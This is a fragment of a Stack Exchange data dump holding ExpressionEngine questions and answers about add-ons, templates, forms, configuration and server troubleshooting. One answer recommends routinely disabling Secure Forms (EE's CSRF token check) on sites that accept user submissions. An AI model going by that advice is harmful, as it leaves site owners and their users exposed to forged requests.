Tags="|expresso-store|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18852" PostTypeId="1" AcceptedAnswerId="18857" CreationDate="2014-01-29T01:59:59.657" Score="2" ViewCount="263" Body="&lt;p&gt;Basically I want to have entries with field types that provide links to either a category or an entry. I'm guessing such a fieldtype doesn't exist, so...  I can use WB Category Select for selecting the category and whatever native or Playa for selecting an entry, but is there any way to toggle between them? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like a radio fieldtype or something that will show/hide a set of fields?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Choose a type of link and link itself [#n...]&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Category (clicking this reveals WB Category Select, hides the other)&lt;/li&gt;&#xA;&lt;li&gt;Entry (clicking this reveals single Entry selection, hides the other)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The above in repetition. Matrix/Grid isn't necessary, can manually make a bunch of repetitive fieldtypes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably doesn't exist either, so any recommendation for an existing radio/switch/pill type and binding some javascript to it for the toggle functionality?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Props to Max &amp;amp; Tyler who recommended the Entry Type add-on. That was &lt;em&gt;exactly&lt;/em&gt; what I needed. Have implemented it already, it's perfect.&lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="61" LastEditDate="2014-01-30T00:28:58.273" LastActivityDate="2014-01-30T00:28:58.273" Title="Is there a &quot;Select a Category OR Entry&quot; field type? If there isn't, is there a way to toggle fields?" Tags="|control-panel|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18853" PostTypeId="1" CreationDate="2014-01-29T03:29:57.510" Score="1" ViewCount="49" Body="&lt;p&gt;Calendar: 1.8.5 &amp;amp; EE 2.7.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Calendar dates are not saving in channel ( calendar : events )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I tried this so far:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;uninstalled and re-installed the module but it did not help&lt;/li&gt;&#xA;&lt;li&gt;I tried downgrading to calendar: 1.6.4 also did not work, I think because calender 1.8.5 might have changed the DB in some way. Going back was giving me some errors, and saving was still not working. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;When you hit &quot;save&quot; no calendar data is saved in the control panel. Unable to change dates on existing entries that used to work under solspace calendar: 1.6.4&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;setup used to work good under: EE 2.5.3 &amp;amp; Calendar 1.6.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any one else have this happen?&lt;/p&gt;&#xA;" OwnerUserId="2656" LastEditorUserId="197" LastEditDate="2014-02-28T16:28:54.980" LastActivityDate="2014-03-23T17:04:18.720" Title="Solspace: Dates are not saving" Tags="|solspace|solspace-calendar|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18854" PostTypeId="1" CreationDate="2014-01-29T04:01:34.567" Score="0" ViewCount="156" Body="&lt;p&gt;Based on the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/forum/other_features.html&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;, &lt;code&gt;{exp:forum}&lt;/code&gt; is available to show the forum in the templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the problem here is that I want the forums to conform to the look and feel of my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there tags available for this module where we can get more control on the output(like a tag for the header, a tag for the list of boards, etc)?&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2014-01-29T07:32:24.457" LastActivityDate="2014-01-29T13:08:38.783" Title="Discussion Forum - Are template tags available for it?" Tags="|forum|discussion|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18855" PostTypeId="2" ParentId="18842" CreationDate="2014-01-29T07:00:00.893" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How do I circumvent this without modifying core code on either system?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My guess: you can't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;code&gt;now()&lt;/code&gt; function is being declared in &lt;a href=&quot;http://ellislab.com/codeigniter/user-guide/helpers/date_helper.html&quot; rel=&quot;nofollow&quot;&gt;CodeIgniter's Date helper&lt;/a&gt; (which is a core file), and in Magento's functions.php (which is also a core file, by the looks of the file path).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE uses CI's Date helper in various places, so you can't avoid it...&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-01-29T07:00:00.893" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="18856" PostTypeId="2" ParentId="18819" CreationDate="2014-01-29T07:54:58.777" Score="2" Body="&lt;p&gt;First, you need to make sure &quot;Enable Dynamic Prices?&quot; is set to Yes under Admin &gt; Channel Administration &gt; Channel Fields &gt; Products &gt; Product Details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then submit a &lt;code&gt;price&lt;/code&gt; field as part of your add to cart form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:product entry_id=&quot;123&quot;}&#xA;&#xA;    &amp;lt;label&amp;gt;&amp;lt;input type=&quot;radio&quot; name=&quot;price&quot; value=&quot;10&quot; /&amp;gt; $10&amp;lt;/label&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;input type=&quot;radio&quot; name=&quot;price&quot; value=&quot;20&quot; /&amp;gt; $20&amp;lt;/label&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;input type=&quot;radio&quot; name=&quot;price&quot; value=&quot;50&quot; /&amp;gt; $50&amp;lt;/label&amp;gt;&#xA;&#xA;{/exp:store:product}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-01-29T07:54:58.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18857" PostTypeId="2" ParentId="18852" CreationDate="2014-01-29T08:03:26.020" Score="4" Body="&lt;p&gt;&lt;em&gt;possible I misunderstand the question.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try &lt;a href=&quot;http://devot-ee.com/add-ons/entry-type&quot; rel=&quot;nofollow&quot;&gt;Entry Type&lt;/a&gt; - dropdown fieldtype that shows/hides other fields on the publish page.&lt;/p&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2014-01-29T14:29:19.617" LastActivityDate="2014-01-29T14:29:19.617" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="18858" PostTypeId="2" ParentId="18798" CreationDate="2014-01-29T08:29:55.600" Score="2" Body="&lt;p&gt;You can do this with JS - make select tag w/o name but with options to choose time (check using JS if custom field(hidden timeslot input) is empty or not. If not empty - add option to select list for this timeslot ). And dependent on what user choose - pre-fill hidden field. &#xA;But risk of this methods - anybody who have knowledge about debugging page in browser can overwrite your exist data. If something happens with post data during submit - you also can lose your data.  This is fundamental risks of method which you choosed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my point of view good way is to make 1 entry = 1 order (timeslots submit).  You can keep data in specific field and look over this data to understand what timeslots is already booked. Base on information about exist order - dynamically make select list for time field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For people who will works with data from site just need to make template where this data will display as part of one day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see other solutions, more protected, but it is most simple one.&lt;/p&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2014-01-29T08:35:30.670" LastActivityDate="2014-01-29T08:35:30.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18859" PostTypeId="2" ParentId="18836" CreationDate="2014-01-29T09:22:54.963" Score="1" Body="&lt;p&gt;You can't create sources this way - you can only edit change configuration for already existing sources. Your best bet would be to run an SQL query to insert the rows into exp_assets_sources table and then use the configuration file.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2014-01-29T09:22:54.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18860" PostTypeId="5" CreationDate="2014-01-29T10:34:45.263" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-01-29T10:34:45.263" LastActivityDate="2014-01-29T10:34:45.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18861" PostTypeId="4" CreationDate="2014-01-29T10:34:45.263" Score="0" Body="This add-on enables nested commenting (comment on comment, reply to comment) for ExpressionEngine" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2014-01-29T13:01:00.497" LastActivityDate="2014-01-29T13:01:00.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18862" PostTypeId="2" ParentId="18714" CreationDate="2014-01-29T11:01:52.847" Score="1" Body="&lt;p&gt;First of all try to create test file, like test_info_.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;phpinfo();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you will get info, try to upload and run some &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/installation/requirements.html#server-compatibility-wizard&quot; rel=&quot;nofollow&quot;&gt;EE compatibility tests&lt;/a&gt;.  Possible some libraries is not available on this hosting.&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-01-29T11:01:52.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18863" PostTypeId="1" AcceptedAnswerId="18865" CreationDate="2014-01-29T11:11:57.823" Score="1" ViewCount="98" Body="&lt;p&gt;Maybe strange question, I put it in the setting of this case.&#xA;I have build a shoppingsite (Carttrob, Profile:edit) where members are logged in after registration. I also use Freemember to bypass EE messages for the normal login c.q. logout procedure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the owner wants for certain groups a registration without logging in, because he wants to approve them first.&#xA;Profile:edit echoes the settings in Membermodule, which is allright, so now I must make an exception here. I could not find an override tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My thought is to send the member* to a redirect page where they, without knowing it, become logged out.&#xA;*after completion of the form they are at that point logged_in*&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could of course make a button (with some text)to activate the logout procedure, but what if the user does not use that button, and goes back to the site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question, how would I code that page? In order to automate the logout procedure?&lt;/p&gt;&#xA;" OwnerUserId="1615" LastActivityDate="2014-01-29T11:22:24.213" Title="How make logged in members auto logout when visiting a certain URL" Tags="|freemember|profile-edit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18865" PostTypeId="2" ParentId="18863" CreationDate="2014-01-29T11:22:24.213" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/logmein&quot; rel=&quot;nofollow&quot;&gt;LogMeIn&lt;/a&gt; add-on has not only option to login user, but also logout. Just add next tag in your template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:logmein:logout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-01-29T11:22:24.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18866" PostTypeId="2" ParentId="11403" CreationDate="2014-01-29T11:46:09.957" Score="3" Body="&lt;p&gt;Yes, &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/conditionals.html#simple-conditionals&quot; rel=&quot;nofollow&quot;&gt;simple conditionals&lt;/a&gt; are parsed in that stage. But also, module and plugin files are &quot;scanned&quot;. The first and third party directories are read for the presence of module and plugin files and stored for reference. If you have a lot of add-ons in the 3rd party folder (having them installed is irrelevant here), it might take longer, especially if the server is bad at disk IOs.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-01-29T11:46:09.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18867" PostTypeId="1" AcceptedAnswerId="18871" CreationDate="2014-01-29T12:06:57.757" Score="0" ViewCount="56" Body="&lt;p&gt;I'd like to make Assets ignore html files that appear in my file upload directories. I've looked through the Assets docs, and can see that there's a config override that seems to allow this named &lt;a href=&quot;https://docs.pixelandtonic.com/assets/using/config.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;assets_ignore_file_patterns&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I can't find a working example of how to use this that I can copy from, so can anyone give me a complete working example that I could use in my EE config file that would allow Assets to ignore files that have a .html extension please? I'm using ExpressionEngine 2.7.2 and Assets 2.2.2, and thanks in advance for any help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, as an aside, the reason my upload directory has an index.html file within it is because I'm using &lt;a href=&quot;https://expressionengine.stackexchange.com/a/611/290&quot;&gt;this method for my .gitignore file&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2015-06-07T17:52:19.353" Title="How to make Assets ignore html files" Tags="|assets|pixelandtonic|config|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18868" PostTypeId="1" CreationDate="2014-01-29T12:30:07.417" Score="-1" ViewCount="36" Body="&lt;p&gt;I am trying to try and install this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/perfect&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/perfect&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;does not seem to have the same structure of other modules I have installed. How do I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2616" LastEditorUserId="55" LastEditDate="2014-01-29T13:09:03.933" LastActivityDate="2014-01-29T13:09:03.933" Title="Installing the &quot;Perfect&quot; module" Tags="|module|plugin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18869" PostTypeId="2" ParentId="18868" CreationDate="2014-01-29T13:03:35.990" Score="2" Body="&lt;p&gt;Just put the &lt;code&gt;perfect&lt;/code&gt; folder inside &lt;code&gt;/system/expressionengine/third_party&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Also: the add-on is &lt;a href=&quot;http://devot-ee.com/add-ons/support/perfect/viewforum/2298&quot; rel=&quot;nofollow&quot;&gt;developer-supported via devot:ee's forums&lt;/a&gt; - the add-on's developer is far more likely to help you there.)&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-29T13:03:35.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18870" PostTypeId="1" AcceptedAnswerId="18873" CreationDate="2014-01-29T13:05:14.903" Score="2" ViewCount="523" Body="&lt;p&gt;I have a multi-page freeform pro form which breaks every time the user uses the back button to go back to a previous part (the dreaded  &quot;action is invalid error&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can only get it to work properly by disabling secure forms globally in the control panel - is there no way to disable it just for this one form through a parameter?&#xA;Using FFP v 4.1.3 on EE 2.7.3&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-01-29T13:08:45.963" Title="Disable secure forms form parameter?" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18871" PostTypeId="2" ParentId="18867" CreationDate="2014-01-29T13:07:03.143" Score="1" Body="&lt;p&gt;Sure, try this in your config file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['assets_ignore_file_patterns'] = array('/\.html$/');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-29T13:07:03.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18872" PostTypeId="2" ParentId="18854" CreationDate="2014-01-29T13:08:38.783" Score="2" Body="&lt;p&gt;No, there are not. To style the forum you have to edit the theme files directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EllisLab's reommendation per &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/forum/forum_themes.html&quot; rel=&quot;nofollow&quot;&gt;the documentation&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you plan to make changes to your theme, we recommend that you make&#xA;  a copy of the themes/forum_themes/default/ directory, name it&#xA;  something else, and make your changes to that one.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Instead of doing that, I suggest taking a look at &lt;a href=&quot;http://devot-ee.com/add-ons/scaffold&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Scaffold forum theme&lt;/strong&gt;&lt;/a&gt; because it will almost certainly serve as a better starting point for your customization. &lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-01-29T13:08:38.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18873" PostTypeId="2" ParentId="18870" CreationDate="2014-01-29T13:08:45.963" Score="5" Body="&lt;p&gt;Unfortunately there is not - when Secure Forms is enabled, EE requires every &lt;code&gt;POST&lt;/code&gt; to contain a valid &lt;code&gt;XID&lt;/code&gt;. More and more I'm just disabling Secure Forms on any site which takes user submissions because it brings so many headaches.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-29T13:08:45.963" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18874" PostTypeId="2" ParentId="18852" CreationDate="2014-01-29T13:15:48.180" Score="1" Body="&lt;p&gt;Suggestion: use a Matrix or Grid field with two columns: one contains a Relationship field (to link to an entry), the other contains WB Category Select, and instruct users to fill out only one or the other for each row.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can enforce this one-or-the-other setup in your template using a conditional (in case someone selects both):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{matrix_field}&#xA;    {if relationship}&#xA;        {relationship:title}&#xA;    {if:else}&#xA;        {category}&#xA;    {/if}&#xA;{/matrix_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-29T13:15:48.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18875" PostTypeId="2" ParentId="18852" CreationDate="2014-01-29T14:05:44.000" Score="1" Body="&lt;p&gt;Rob Sanchez developed a really great add-on called &quot;Entry Type&quot; (&lt;a href=&quot;http://devot-ee.com/add-ons/entry-type&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/entry-type&lt;/a&gt;). Make a note of this one for future projects ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can configure an Entry Type field in the Channel Fields for the relevant channel and show/hide fields based on the value of the Entry Type field's selection. This way, based on the value of the Entry Type field and the settings that you control, you can toggle the visibility of the fields.&lt;/p&gt;&#xA;" OwnerUserId="326" LastActivityDate="2014-01-29T14:05:44.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18876" PostTypeId="2" ParentId="18835" CreationDate="2014-01-29T15:50:01.040" Score="1" Body="&lt;p&gt;Well, it is issue related to switchee (thanks Robson Sobral for pointing me to that).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The {if no_results} behaviour is ‘owned’ by the outer wrapping tag not the inner tag. This is an EE bug/feature and not unique to Switchee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of this, Switchee has it’s own no_results handling which will work for each nested switchee layer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if switchee_no_results}&#xA;...&#xA;{/if}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://devot-ee.com/add-ons/support/switchee/viewthread/2925&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/support/switchee/viewthread/2925&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-01-29T15:50:01.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18877" PostTypeId="2" ParentId="18691" CreationDate="2014-01-29T16:12:16.137" Score="0" Body="&lt;p&gt;I had the same problem last month, the only solution I found was to download the new version 2.7.3 and start with a fresh install... Did you save your template files? It's easy to put it all back if you did!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry can't give you a better solution! But time was running out for my client!&lt;/p&gt;&#xA;" OwnerUserId="2668" LastActivityDate="2014-01-29T16:12:16.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18878" PostTypeId="1" AcceptedAnswerId="18926" CreationDate="2014-01-29T16:16:54.813" Score="0" ViewCount="192" Body="&lt;p&gt;I assumed the tag would be based on the start date of an event, however I have this code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:calendar:events orderby=&quot;event_start_date&quot; author_id=&quot;{member_id}&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which shows all entries. When I add the date_range_start parameter&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:calendar:events orderby=&quot;event_start_date&quot; author_id=&quot;{member_id}&quot; date_range_start=&quot;today&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;no entries appear, even though there are two events with start dates in May, 2014.&lt;/p&gt;&#xA;" OwnerUserId="745" LastActivityDate="2014-01-30T18:45:32.970" Title="Is the date_range_start parameter based on the entry date?" Tags="|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18880" PostTypeId="1" CreationDate="2014-01-29T16:45:02.090" Score="0" ViewCount="30" Body="&lt;p&gt;I want to calculate the % of the profile a user has complete is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe even define the fields.&lt;/p&gt;&#xA;" OwnerUserId="2616" LastActivityDate="2014-01-29T17:52:37.607" Title="Solspace user - percent of profile complete" Tags="|solspace-user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18881" PostTypeId="2" ParentId="18880" CreationDate="2014-01-29T17:52:37.607" Score="1" Body="&lt;p&gt;Although it's geared towards doing the same but with &lt;em&gt;channel&lt;/em&gt; fields, the &lt;a href=&quot;http://devot-ee.com/add-ons/perfect&quot; rel=&quot;nofollow&quot;&gt;Perfect module&lt;/a&gt; could get you started down this path. (It will need to be modified, or you'll need to use a module such as &lt;a href=&quot;http://devot-ee.com/add-ons/profileedit&quot; rel=&quot;nofollow&quot;&gt;Profile:Edit&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/zoo-visitor&quot; rel=&quot;nofollow&quot;&gt;Zoo Visitor&lt;/a&gt; to connect your member with channel entries).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-29T17:52:37.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18882" PostTypeId="1" CreationDate="2014-01-29T18:13:56.963" Score="0" ViewCount="321" Body="&lt;p&gt;I'm using Freeform 4.1.3 (free) and I can only get it to send notifications when I use the default notification template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried declaring the template using both the module's settings and the template tags that override those. Neither worked. I've also tried stripping down my form to just the &lt;a href=&quot;http://www.solspace.com/docs/freeform/form/#simple_contact_form&quot; rel=&quot;nofollow&quot;&gt;example contact form&lt;/a&gt;. Still no-go. I can indeed send emails through EE's Communicate screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideas? &lt;/p&gt;&#xA;" OwnerUserId="332" LastActivityDate="2014-01-29T18:13:56.963" Title="Freeform only sends notifications with default template" Tags="|solspace-freeform|notification|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18883" PostTypeId="2" ParentId="18067" CreationDate="2014-01-29T18:25:51.430" Score="1" Body="&lt;p&gt;I was able to get this to work using Postmaster. Thanks to Justin over there for pointing me in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a new php file in the hooks dir of postmaster:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Member_member_register.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');&#xA;&#xA;class Member_member_register_postmaster_hook extends Base_hook { &#xA;&#xA;    protected $title = 'Member member register';&#xA;&#xA;    public function __construct($params = array())&#xA;    {&#xA;        parent::__construct(array());&#xA;    }&#xA;&#xA;    public function trigger($data, $member_id) &#xA;    {   &#xA;&#xA;&#xA;        $member = $this-&amp;gt;channel_data-&amp;gt;get_member($member_id)-&amp;gt;row_array(); &#xA;&#xA;        $member['email'] = $_POST['email'];&#xA;        $member['street_address'] = $_POST['street_address'];&#xA;        $member['city'] = $_POST['city'];&#xA;        $member['state'] = $_POST['state'];&#xA;        $member['zipcode'] = $_POST['zipcode'];&#xA;&#xA;&#xA;        return $this-&amp;gt;send($parse_vars, $member); &#xA;    } &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in my postmaster template, I accessed the data like such:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Name: {hook:screen_name}&#xA;Email: {hook:email}&#xA;Address: {hook:street_address}&#xA;{hook:city}, {hook:state} {hook:zipcode}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The downside is that you have to hard code the values. If you were to add more fields, you would have to change the hook file. I'm sure with some tweaking you could make this dynamic.&lt;/p&gt;&#xA;" OwnerUserId="1530" LastActivityDate="2014-01-29T18:25:51.430" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18884" PostTypeId="1" AcceptedAnswerId="18923" CreationDate="2014-01-29T18:32:32.860" Score="1" ViewCount="689" Body="&lt;p&gt;This latest ee launch is going on xyz.com. I've been told:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This DNS entry points at an AWS elastic load balancer with two linux&#xA;  instances behind it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm not a server person. I don't know how it's set up. Phpinfo seems to have everything I need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both my home page (index.php) and admin.php are blank. Yes, I've set $debug = 1. Still blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I literally have no idea what to try next. I don't know if it's the files, the server, a path setting or ee itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please suggest something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Amanda&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's something... if the servers are set up as xx.xx.x.254 (Web1), xx.xx.x.214 (Web2) and xx.xx.x.25 (DB1), phpinfo should still show a mysql section, no?&lt;/p&gt;&#xA;" OwnerUserId="1761" LastEditorUserId="1761" LastEditDate="2014-01-29T19:41:38.787" LastActivityDate="2014-01-30T17:46:34.997" Title="Blank index.php and admin.php on AWS elastic load balancer" Tags="|blank-screen|aws|php.ini|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18885" PostTypeId="2" ParentId="18658" CreationDate="2014-01-29T18:35:18.580" Score="1" Body="&lt;p&gt;I feel your pain with EE relationships. I wrote up a good bit on the method we use here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was for product-buyers relationship paths, but is the same concept and I do certainly feel like you can get done what you need to here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be done without the :search param in channel entries, I think under EE 2.6.... But it requires some well thought out plugin design.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, i'll leave this here and I do hope that it helps you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/a/18229/1872&quot;&gt;https://expressionengine.stackexchange.com/a/18229/1872&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1872" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-01-29T18:35:18.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18887" PostTypeId="2" ParentId="18119" CreationDate="2014-01-29T19:03:23.300" Score="0" Body="&lt;p&gt;Issue solved. The path in &quot;URL of Upload Directory&quot; under File Upload Preference was set as an absolute path for some reason. I changed it to an relative path and it now works.&lt;/p&gt;&#xA;" OwnerUserId="1746" LastActivityDate="2014-01-29T19:03:23.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
